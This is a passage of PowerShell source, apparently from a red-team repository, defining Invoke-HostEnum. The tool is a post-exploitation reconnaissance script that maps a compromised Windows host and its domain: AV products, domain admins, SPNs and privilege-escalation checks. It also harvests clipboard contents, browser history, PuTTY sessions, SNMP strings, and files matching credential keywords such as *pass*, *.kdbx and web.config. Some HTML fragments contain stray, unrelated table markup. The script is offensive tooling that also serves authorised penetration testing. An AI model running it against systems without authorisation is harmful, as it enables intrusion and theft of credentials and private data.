intention that PowerView, BoodHound, etc will be also be used. + + Report HTML file is written in the format of YYYYMMDD_HHMMSS_HOSTNAME.html in the current working directory. + + Invoke-HostEnum is Powershell 2.0 compatible to ensure it functions on the widest variety of Windows targets + + Enumerated Information: + + - OS Details, Hostname, Uptime, Installdate + - Installed Applications and Patches + - Network Adapter Configuration, Network Shares, Listening Ports, Connections, Routing Table, DNS Cache, Firewall Status + - Running Processes and Installed Services + - Interesting Registry Entries + - Local Users, Groups, Administrators + - Personal Security Product Status, AV Processes + - Interesting file locations and keyword searches via file indexing + - Interesting Windows Logs (User logins) + - Basic Domain enumeration (users, groups, trusts, domain controllers, account policy, SPNs) + + +.PARAMETER All + + Executes Local, Domain, and Privesc functions + +.PARAMETER Local + + Executes the local enumeration functions + +.PARAMETER Domain + + Executes the domain enumeration functions + +.PARAMETER Privesc + + Executes modified version of PowerUp privilege escalation enumeration (Invoke-AllChecks) + +.PARAMETER Quick + + Executes a brief initial survey that may be useful when initially accessing a host + Only enumerates basic system info, processes, av, network adapters, firewall state, network connections, users, and groups + Note: Not usable with -HTMLReport + +.PARAMETER HTMLReport + + Creates an HTML Report of enumeration results + +.PARAMETER Verbose + + Enables verbosity (Leverages Write-Verbose and output may differ depending on the console/agent you're using) + +.EXAMPLE + + PS C:\> Invoke-HostEnum -Local -HTMLReport -Verbose + + Performs local system enumeration with verbosity and writes output to a HTML report + +.EXAMPLE + + PS C:\> Invoke-HostEnum -Domain -HTMLReport + + Performs domain enumeration using net commands and saves the output to the current directory + +.EXAMPLE + + PS C:\> Invoke-HostEnum -Local -Domain + + Performs local and domain enumeration functions and outputs the results to the console + +.LINK + +https://github.com/threatexpress/red-team-scripts + +#> + [CmdletBinding()] + Param( + [Switch]$All, + [Switch]$Local, + [Switch]$Domain, + [Switch]$Quick, + [Switch]$Privesc, + [Switch]$HTMLReport + ) + + # Ignore Errors and don't print to screen unless specified otherwise when calling Functions + $ErrorActionPreference = "SilentlyContinue" + + # $All switch runs Local, Domain, and Privesc checks + If ($All) {$Local = $True; $Domain = $True; $Privesc = $True} + + ### Begin Main Execution + + $Time = (Get-Date).ToUniversalTime() + [string]$StartTime = $Time|Get-Date -uformat %Y%m%d_%H%M%S + + # Create filename for HTMLReport + If ($HTMLReport) { + [string]$Hostname = $ENV:COMPUTERNAME + [string]$FileName = $StartTime + '_' + $Hostname + '.html' + $HTMLReportFile = (Join-Path $PWD $FileName) + + # Header for HTML table formatting + $HTMLReportHeader = @" + + +System Report +"@ + + # Attempt to write out HTML report header and exit if there isn't sufficient permission + Try { + ConvertTo-HTML -Title "System Report" -Head $HTMLReportHeader ` + -Body "

System Enumeration Report for $($Env:ComputerName) - $($Env:UserName)

`n
" ` + | Out-File $HTMLReportFile -ErrorAction Stop + } + Catch { + "`n[-] Error writing enumeration output to disk! Check your permissions on $PWD.`n$($Error[0])`n"; Return + } + } + + # Print initial execution status + "[+] Invoke-HostEnum" + "[+] STARTTIME:`t$StartTime" + "[+] PID:`t$PID`n" + + # Check user context of Powershell.exe process and alert if running as SYSTEM + $IsSystem = [Security.Principal.WindowsIdentity]::GetCurrent().IsSystem + + If ($IsSystem) { + "`n[*] Warning: Enumeration is running as SYSTEM and some enumeration techniques (Domain and User-context specific) may fail to yield desired results!`n" + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Note: Enumeration performed as 'SYSTEM' and report may contain incomplete results!

" -as list | Out-File -Append $HTMLReportFile + } + } + + # Execute a quick system survey + If ($Quick) { + Write-Verbose "Performing quick enumeration..." + "`n[+] Host Summary`n" + $Results = Get-Sysinfo + $Results | Format-List + + "`n[+] Running Processes`n" + $Results = Get-ProcessInfo + $Results | Format-Table ID, Name, Owner, Path -auto -wrap + + "`n[+] Installed AV Product`n" + $Results = Get-AVInfo + $Results | Format-List + + "`n[+] Potential AV Processes`n" + $Results = Get-AVProcesses + $Results | Format-Table -Auto + + "`n[+] Installed Software:`n" + $Results = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation + if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit") + { + $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation + } + $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName + $Results | Format-Table -Auto -Wrap + + "`n[+] System Drives:`n" + $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation + $Results | Format-Table -auto + + "`n[+] Active TCP Connections:`n" + $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion + $Results | Format-Table -auto + + "`n[+] Firewall Status:`n" + $Results = Get-FirewallStatus + $Results | Format-Table -auto + + "`n[+] Local Users:`n" + $Results = Get-WmiObject -Class Win32_UserAccount -Filter "Domain='$($env:ComputerName)'" | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description | Sort-Object SID -Descending + $Results | Format-Table -auto -wrap + + "`n[+] Local Administrators:`n" + $Results = Get-WmiObject win32_groupuser | Where-Object { $_.GroupComponent -match 'administrators' -and ($_.GroupComponent -match "Domain=`"$env:COMPUTERNAME`"")} | ForEach-Object {[wmi]$_.PartComponent } | + Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description + $Results | Format-Table -auto -wrap + + # Local Groups + "`n[+] Local Groups:`n" + $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description + $Results | Format-Table -auto -wrap + + "`n[+] Group Membership for ($($env:username))`n" + $Results = Get-GroupMembership | Sort-Object SID + $Results | Format-Table -Auto + + } + + # Execute local system enumeration functions + If ($Local) { + + # Execute local enumeration functions and format for report + "`n[+] Host Summary`n" + $Results = Get-Sysinfo + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Host Summary

" -as list | Out-File -Append $HTMLReportFile + } + + # Get Installed software, check for 64-bit applications + "`n[+] Installed Software:`n" + $Results = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation + if ((Get-WmiObject Win32_OperatingSystem).OSArchitecture -eq "64-bit") + { + $Results += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate, DisplayVersion, Publisher, InstallLocation + } + + $Results = $Results | Where-Object {$_.DisplayName} | Sort-Object DisplayName + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Installed Software

" | Out-File -Append $HTMLReportFile + } + + # Get installed patches + "`n[+] Installed Patches:`n" + $Results = Get-WmiObject -class Win32_quickfixengineering | Select-Object HotFixID,Description,InstalledBy,InstalledOn | Sort-Object InstalledOn -Descending + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Installed Patches

" | Out-File -Append $HTMLReportFile + } + + # Process Information + "`n[+] Running Processes`n" + $Results = Get-ProcessInfo + $Results | Format-Table ID, Name, Owner, Path, CommandLine -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Property ID, Name, Owner, MainWindowTitle, Path, CommandLine -PreContent "

Process Information

" | Out-File -Append $HTMLReportFile + } + + # Services + "`n[+] Installed Services:`n" + $Results = Get-WmiObject win32_service | Select-Object Name, DisplayName, State, PathName + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Installed Services

" | Out-File -Append $HTMLReportFile + } + + # Environment variables + "`n[+] Environment Variables:`n" + $Results = Get-Childitem -path env:* | Select-Object Name, Value | Sort-Object name + $Results |Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Environment Variables

"| Out-File -Append $HTMLReportFile + } + + # BIOS information + "`n[+] BIOS Information:`n" + $Results = Get-WmiObject -Class win32_bios |Select-Object SMBIOSBIOSVersion, Manufacturer, Name, SerialNumber, Version + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

BIOS Information

" -as List| Out-File -Append $HTMLReportFile + } + + # Physical Computer Information + "`n[+] Computer Information:`n" + $Results = Get-WmiObject -class Win32_ComputerSystem | Select-Object Domain, Manufacturer, Model, Name, PrimaryOwnerName, TotalPhysicalMemory, @{Label="Role";Expression={($_.Roles) -join ","}} + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Physical Computer Information

" -as List | Out-File -Append $HTMLReportFile + } + + # System Drives (Returns mapped drives too, but not their associated network path) + "`n[+] System Drives:`n" + $Results = Get-PSDrive -psprovider filesystem | Select-Object Name, Root, Used, Free, Description, CurrentLocation + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

System Drives

" | Out-File -Append $HTMLReportFile + } + + # Mapped Network Drives + "`n[+] Mapped Network Drives:`n" + $Results = Get-WmiObject -Class Win32_MappedLogicalDisk | Select-Object Name, Caption, VolumeName, FreeSpace, ProviderName, FileSystem + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Mapped Network Drives Drives

" | Out-File -Append $HTMLReportFile + } + + ## Local Network Configuration + + # Network Adapters + "`n[+] Network Adapters:`n" + $Results = Get-WmiObject -class Win32_NetworkAdapterConfiguration | + Select-Object Description,@{Label="IPAddress";Expression={($_.IPAddress) -join ", "}},@{Label="IPSubnet";Expression={($_.IPSubnet) -join ", "}},@{Label="DefaultGateway";Expression={($_.DefaultIPGateway) -join ", "}},MACaddress,DHCPServer,DNSHostname | Sort-Object IPAddress -descending + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Network Adapters

" | Out-File -Append $HTMLReportFile + } + + # DNS Cache + "`n[+] DNS Cache:`n" + $Results = Get-WmiObject -query "Select * from MSFT_DNSClientCache" -Namespace "root\standardcimv2" | Select-Object Entry, Name, Data + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

DNS Cache

" | Out-File -Append $HTMLReportFile + } + + # Network Shares + "`n[+] Network Shares:`n" + $Results = Get-WmiObject -class Win32_Share | Select-Object Name, Path, Description, Caption, Status + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Network Shares

" | Out-File -Append $HTMLReportFile + } + + # TCP Network Connections + "`n[+] Active TCP Connections:`n" + $Results = Get-ActiveTCPConnections | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, IPVersion + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Active TCP Connections

" | Out-File -Append $HTMLReportFile + } + + # IP Listeners + "`n[+] TCP/UDP Listeners:`n" + $Results = Get-ActiveListeners |Where-Object {$_.ListeningPort -LT 50000}| Select-Object Protocol, LocalAddress, ListeningPort, IPVersion + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

TCP/UDP Listeners

" | Out-File -Append $HTMLReportFile + } + # Firewall Status + "`n[+] Firewall Status:`n" + $Results = Get-FirewallStatus + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Firewall Status

" | Out-File -Append $HTMLReportFile + } + + # WMI Routing Table + "`n[+] Routing Table:`n" + $Results = Get-WmiObject -class "Win32_IP4RouteTable" -namespace "root\CIMV2" |Select-Object Destination, Mask, Nexthop, InterfaceIndex, Metric1, Protocol, Type + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Routing Table

" | Out-File -Append $HTMLReportFile + } + + # WMI Net Sessions + "`n[+] Net Sessions:`n" + $Results = Get-WmiObject win32_networkconnection | Select-Object LocalName, RemoteName, RemotePath, Name, Status, ConnectionState, Persistent, UserName, Description + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Network Sessions

" | Out-File -Append $HTMLReportFile + } + + # Proxy Information + "`n[+] Proxy Configuration:`n" + $regkey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" + $Results = New-Object -TypeName PSObject -Property @{ + Enabled = If ((Get-ItemProperty -Path $regkey).proxyEnable -eq 1) {"True"} else {"False"} + ProxyServer = (Get-ItemProperty -Path $regkey).proxyServer + AutoConfigURL = (Get-ItemProperty -Path $regkey).AutoConfigUrl + } + + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Proxy Configuration

" | Out-File -Append $HTMLReportFile + } + + ## Local User and Group Enumeration + ####################### + + # Local User Accounts + "`n[+] Local users:`n" + $Results = Get-WmiObject -Class Win32_UserAccount -Filter "Domain='$($env:ComputerName)'" | Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description | Sort-Object SID -Descending + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Local Users

" | Out-File -Append $HTMLReportFile + } + + # Local Administrators + "`n[+] Local Administrators:`n" + $Results = Get-WmiObject win32_groupuser | Where-Object { $_.GroupComponent -match 'administrators' -and ($_.GroupComponent -match "Domain=`"$env:COMPUTERNAME`"")} | ForEach-Object {[wmi]$_.PartComponent } | + Select-Object Name, Domain, SID, AccountType, PasswordExpires, Disabled, Lockout, Status, Description + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Local Administrators

" | Out-File -Append $HTMLReportFile + } + + # Local Groups + "`n[+] Local Groups:`n" + $Results = Get-WmiObject -Class Win32_Group -Filter "Domain='$($env:ComputerName)'" | Select-Object Name,SID,Description + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Local Groups

" | Out-File -Append $HTMLReportFile + } + + + ## AV Products + ######################### + "`n[+] Installed AV Product`n" + $Results = Get-AVInfo + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Installed AV Product

" -as list | Out-File -Append $HTMLReportFile + } + + # Potential Running AV Processes + "`n[+] Potential AV Processes`n" + $Results = Get-AVProcesses + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Potential AV Processes

" | Out-File -Append $HTMLReportFile + } + + # If McAfee is installed then pull some recent logs + If ($Results.displayName -like "*mcafee*") { + $Results = Get-McafeeLogs + $Results |Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Recent McAfee AV Logs

" -as list | Out-File -Append $HTMLReportFile + } + } + ## Interesting Locations + ############################# + "`n[+] Registry Keys`n" + $Results = Get-InterestingRegistryKeys + $Results + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Interesting Registry Keys

`n
CompletedTaskIDIDIDIDTaskIDTaskIDRandomURIRandomURICommandCommandOutputOutputPromptPrompt
$Results
" -as list | Out-File -Append $HTMLReportFile + } + + # Interesting File Search (String formatted due to odd formatting issues with file listings) + "`n[+] Interesting Files:`n" + $Results = Get-InterestingFiles + $Results + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Interesting Files

`n
$Results
" | Out-File -Append $HTMLReportFile + } + + ## Current User Enumeration + ############################ + # Group Membership for Current User + "`n[+] Group Membership - $($Env:UserName)`n" + $Results = Get-GroupMembership | Sort-Object SID + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Group Membership - $($env:username)

"| Out-File -Append $HTMLReportFile + } + + # Browser History (IE, Firefox, Chrome) + "`n[+] Browser History`n" + $Results = Get-BrowserInformation | Where-Object{$_.Data -NotMatch "google" -And $_.Data -NotMatch "microsoft" -And $_.Data -NotMatch "chrome" -And $_.Data -NotMatch "youtube" } + $Results | Format-Table Browser, DataType, User, Data -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Property Browser, DataType, User, Data, Name -PreContent "

Browser History

" | Out-File -Append $HTMLReportFile + } + + # Open IE Tabs + "`n[+] Active Internet Explorer URLs - $($Env:UserName)`n" + $Results = Get-ActiveIEURLS + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Active Internet Explorer URLs - $($Env:UserName)

" | Out-File -Append $HTMLReportFile + } + + # Recycle Bin Files + "`n`n[+] Recycle Bin Contents - $($Env:UserName)`n" + $Results = Get-RecycleBin + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Recycle Bin Contents - $($Env:UserName)

" | Out-File -Append $HTMLReportFile + } + + # Clipboard Contents + Add-Type -Assembly PresentationCore + "`n[+] Clipboard Contents - $($Env:UserName):`n" + $Results = '' + $Results = ([Windows.Clipboard]::GetText()) -join "`r`n" | Out-String + $Results + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Clipboard Contents - $($Env:UserName)

$Results
"| Out-File -Append $HTMLReportFile + } + + # Commented out by default because the log parsing can take a REALLY long time on some hosts + #$Results += Format-HTMLTable "Interesting Windows Logs" (Get-ComputerDetails) + #"`n`n[+] Interesting Windows Logs`n" + #$Results = Get-ComputerDetails + #$Results + #If ($HTMLReport) { + # $Results | ConvertTo-HTML -Head $Header -Body "

Interesting Windows Logs

" | Out-File -Append $HTMLReportFile + #} + + } + + # Simple Domain Enumeration + If ($Domain) { + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Domain Report - $($env:USERDOMAIN)

" | Out-File -Append $HTMLReportFile + } + # Check if host is part of a domain before executing domain enumeration functions + If ((gwmi win32_computersystem).partofdomain){ + Write-Verbose "Enumerating Windows Domain..." + "`n[+] Domain Mode`n" + $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainMode + $Results + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Domain Mode: $Results

" | Out-File -Append $HTMLReportFile + } + + # DA Level Accounts + "`n[+] Domain Administrators`n" + $Results = Get-DomainAdmins + $Results + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Domain Administrators

$Results
" | Out-File -Append $HTMLReportFile + } + + # Domain account password policy + "`n[+] Domain Account Policy`n" + $Results = Get-DomainAccountPolicy + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Domain Account Policy

" -as List | Out-File -Append $HTMLReportFile + } + + # Domain Controllers + "`n[+] Domain Controllers:`n" + $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).DomainControllers | Select-Object Name,OSVersion,Domain,Forest,SiteName,IpAddress + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Domain Controllers

" | Out-File -Append $HTMLReportFile + } + + # Domain Trusts + "`n[+] Domain Trusts:`n" + $Results = ([System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() + $Results | Format-List + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Domain Trusts

" -as List | Out-File -Append $HTMLReportFile + } + + # Domain Users + "`n[+] Domain Users:`n" + $Results = Get-WmiObject -Class Win32_UserAccount | Select-Object Name,Caption,SID,Fullname,Disabled,Lockout,Description |Sort-Object SID + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Domain Users

" | Out-File -Append $HTMLReportFile + } + + # Domain Groups + "`n[+] Domain Groups:`n" + $Results = Get-WmiObject -Class Win32_Group | Select-Object Name,SID,Description | Sort-Object SID + $Results | Format-Table -Auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

Domain Groups

" | Out-File -Append $HTMLReportFile + } + + # Domain Admins, Enterprise Admins, Server Admins, Backup Operators + + # Get User SPNS + "`n[+] User Account SPNs`n" + $Results = Get-UserSPNS -UniqueAccounts + $Results | Format-Table -auto + If ($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -PreContent "

User Account SPNs

" | Out-File -Append $HTMLReportFile + } + } + Else { + "`n[-] Host is not a member of a domain. Skipping domain checks...`n" + If ($HTMLReport) { + ConvertTo-HTML -Fragment -PreContent "

Host is not a member of a domain. Domain checks skipped.

" | Out-File -Append $HTMLReportFile + } + } + } + + # Privilege Escalation Enumeration + If ($Privesc) { + If ($HTMLReport) { + Invoke-AllChecks -HTMLReport + } + Else { + Invoke-AllChecks + } + } + # Determine the execution duration + $Duration = New-Timespan -start $Time -end ((Get-Date).ToUniversalTime()) + + # Print report location and finish execution + + "`n" + If ($HTMLReport) { + "[+] FILE:`t$HTMLReportFile" + "[+] FILESIZE:`t$((Get-Item $HTMLReportFile).length) Bytes" + } + "[+] DURATION:`t$Duration" + "[+] Invoke-HostEnum complete!" +} + + +function Get-SysInfo { +<# +.SYNOPSIS + +Gets basic system information from the host + +#> + $os_info = gwmi Win32_OperatingSystem + $uptime = [datetime]::ParseExact($os_info.LastBootUpTime.SubString(0,14), "yyyyMMddHHmmss", $null) + $uptime = (Get-Date).Subtract($uptime) + $uptime = ("{0} Days, {1} Hours, {2} Minutes, {3} Seconds" -f ($uptime.Days, $uptime.Hours, $uptime.Minutes, $uptime.Seconds)) + $date = Get-Date + + $SysInfoHash = @{ + HOSTNAME = $ENV:COMPUTERNAME + IPADDRESSES = (@([System.Net.Dns]::GetHostAddresses($ENV:HOSTNAME)) | %{$_.IPAddressToString}) -join ", " + OS = $os_info.caption + ' ' + $os_info.CSDVersion + ARCHITECTURE = $os_info.OSArchitecture + "DATE(UTC)" = $date.ToUniversalTime()| Get-Date -uformat "%Y%m%d%H%M%S" + "DATE(LOCAL)" = $date | Get-Date -uformat "%Y%m%d%H%M%S%Z" + INSTALLDATE = $os_info.InstallDate + UPTIME = $uptime + USERNAME = $ENV:USERNAME + DOMAIN = (GWMI Win32_ComputerSystem).domain + LOGONSERVER = $ENV:LOGONSERVER + PSVERSION = $PSVersionTable.PSVersion.ToString() + PSSCRIPTBLOCKLOGGING = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -EA 0).EnableScriptBlockLogging -eq 1){"Enabled"} Else {"Disabled"} + PSTRANSCRIPTION = If((Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).EnableTranscripting -eq 1){"Enabled"} Else {"Disabled"} + PSTRANSCRIPTIONDIR = (Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -EA 0).OutputDirectory + } + + # PS feels the need to randomly re-order everything when converted to an object so let's presort + New-Object -TypeName PSobject -Property $SysInfoHash | Select-Object Hostname, OS, Architecture, "Date(UTC)", "Date(Local)", InstallDate, UpTime, IPAddresses, Domain, Username, LogonServer, PSVersion, PSScriptBlockLogging, PSTranscription, PSTranscriptionDir +} + + +function Get-ProcessInfo() { +<# +.SYNOPSIS + +Gets detailed process information via WMI + +#> + # Extra work here to include process owner and commandline using WMI + Write-Verbose "Enumerating running processes..." + $owners = @{} + $commandline = @{} + + gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} + gwmi win32_process |% {$commandline[$_.handle] = $_.commandline} + + $procs = Get-Process | Sort-Object -property ID + $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "Owner" -Value $owners[$_.id.tostring()] -force} + $procs | ForEach-Object {$_|Add-Member -MemberType NoteProperty -Name "CommandLine" -Value $commandline[$_.id.tostring()] -force} + + Return $procs +} + +function Get-GroupMembership { +<# +.SYNOPSIS + +Pulls local group membership for the current user + +#> + Write-Verbose "Enumerating current user local group membership..." + + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -expand value + $Groups = ForEach ($sid in $CurrentUserSids) { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier("$sid") + $GroupObj = New-Object -TypeName PSObject -Property @{ + SID = $sid + GroupName = $SIDObj.Translate([System.Security.Principal.NTAccount]) + } + $GroupObj + } + $Groups +} + +function Get-ActiveTCPConnections { +<# +.SYNOPSIS + +Enumerates active TCP connections. +Adapted from Beau Bullock's TCP code +https://raw.githubusercontent.com/dafthack/HostRecon/master/HostRecon.ps1 + +#> + Write-Verbose "Enumerating active network connections..." + $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() + $Connections = $IPProperties.GetActiveTcpConnections() + foreach($Connection in $Connections) { + if($Connection.LocalEndPoint.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } + New-Object -TypeName PSobject -Property @{ + "LocalAddress" = $Connection.LocalEndPoint.Address + "LocalPort" = $Connection.LocalEndPoint.Port + "RemoteAddress" = $Connection.RemoteEndPoint.Address + "RemotePort" = $Connection.RemoteEndPoint.Port + "State" = $Connection.State + "IPVersion" = $IPType + } + } +} + +function Get-ActiveListeners { +<# +.SYNOPSIS + +Enumerates active TCP/UDP listeners. + +#> + Write-Verbose "Enumerating active TCP/UDP listeners..." + $IPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() + $TcpListeners = $IPProperties.GetActiveTCPListeners() + $UdpListeners = $IPProperties.GetActiveUDPListeners() + + ForEach($Connection in $TcpListeners) { + if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } + New-Object -TypeName PSobject -Property @{ + "Protocol" = "TCP" + "LocalAddress" = $Connection.Address + "ListeningPort" = $Connection.Port + "IPVersion" = $IPType + } + } + ForEach($Connection in $UdpListeners) { + if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } + New-Object -TypeName PSobject -Property @{ + "Protocol" = "UDP" + "LocalAddress" = $Connection.Address + "ListeningPort" = $Connection.Port + "IPVersion" = $IPType + } + } +} + +function Get-FirewallStatus { +<# +.SYNOPSIS + +Enumerates local firewall status from registry + +#> + $regkey = "HKLM:\System\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy" + New-Object -TypeName PSobject -Property @{ + Standard = If ((Get-ItemProperty $regkey\StandardProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} + Domain = If ((Get-ItemProperty $regkey\DomainProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} + Public = If ((Get-ItemProperty $regkey\PublicProfile).EnableFirewall -eq 1){"Enabled"}Else {"Disabled"} + } +} + +function Get-InterestingRegistryKeys { +<# +.SYNOPSIS + +Pulls potentially interesting registry keys + +#> + Write-Verbose "Enumerating registry keys..." + + # Recently typed "run" commands + "`n[+] Recent RUN Commands:`n" + Get-Itemproperty "HKCU:\software\microsoft\windows\currentversion\explorer\runmru" | Out-String + + # HKLM SNMP Keys + "`n[+] SNMP community strings:`n" + Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" | Format-Table -auto | Out-String + + # HKCU SNMP Keys + "`n[+] SNMP community strings for current user:`n" + Get-ItemProperty "HKCU:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities"| Format-Table -auto |Out-String + + # Putty Saved Session Keys + "`n[+] Putty saved sessions:`n" + Get-ItemProperty "HKCU:\Software\SimonTatham\PuTTY\Sessions\*" |Format-Table -auto | Out-String + +} + +function Get-IndexedFiles { +<# +.SYNOPSIS + +Uses the Windows indexing service to search for interesting files and often includes Outlook e-mails. +Code originally adapted from a Microsoft post, but can no longer locate the exact source. Doesn't work on all systems. + +#> +param ( + [Parameter(Mandatory=$true)][string]$Pattern) + + if($Path -eq ""){$Path = $PWD;} + + $pattern = $pattern -replace "\*", "%" + $path = $path + "\%" + + $con = New-Object -ComObject ADODB.Connection + $rs = New-Object -ComObject ADODB.Recordset + + # This directory indexing search doesn't work on some systems tested (i.e.Server 2K8r2) + # Using Try/Catch to break the search in case the provider isn't available + Try { + $con.Open("Provider=Search.CollatorDSO;Extended Properties='Application=Windows';")} + Catch { + "[-] Indexed file search provider not available";Break + } + $rs.Open("SELECT System.ItemPathDisplay FROM SYSTEMINDEX WHERE System.FileName LIKE '" + $pattern + "' " , $con) + + While(-Not $rs.EOF){ + $rs.Fields.Item("System.ItemPathDisplay").Value + $rs.MoveNext() + } +} + +function Get-InterestingFiles { +<# +.SYNOPSIS + +Local filesystem enumeration + +#> + Write-Verbose "Enumerating interesting files..." + + # Get Indexed files containg $searchStrings (Experimental), edit this to desired list of "dirty words" + $SearchStrings = "*secret*","*creds*","*credential*","*.vmdk","*confidential*","*proprietary*","*pass*","*credentials*","web.config","KeePass.config*","*.kdbx","*.key","tnsnames.ora" + $IndexedFiles = Foreach ($String in $SearchStrings) {Get-IndexedFiles $string} + + "`n[+] Indexed File Search:`n" + "`n[+] Search Terms ($SearchStrings)`n`n" + $IndexedFiles |Format-List |Out-String + + # Get Top Level file listing of all drives + "`n[+] All 'FileSystem' Drives - Top Level Listing:`n" + Get-PSdrive -psprovider filesystem |ForEach-Object {gci $_.Root} |Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | Format-Table -auto | Out-String + + # Get Program Files + "`n[+] System Drive - Program Files:`n" + GCI "$ENV:ProgramFiles\" | Select-Object Fullname,LastWriteTimeUTC,LastAccessTimeUTC,Length | 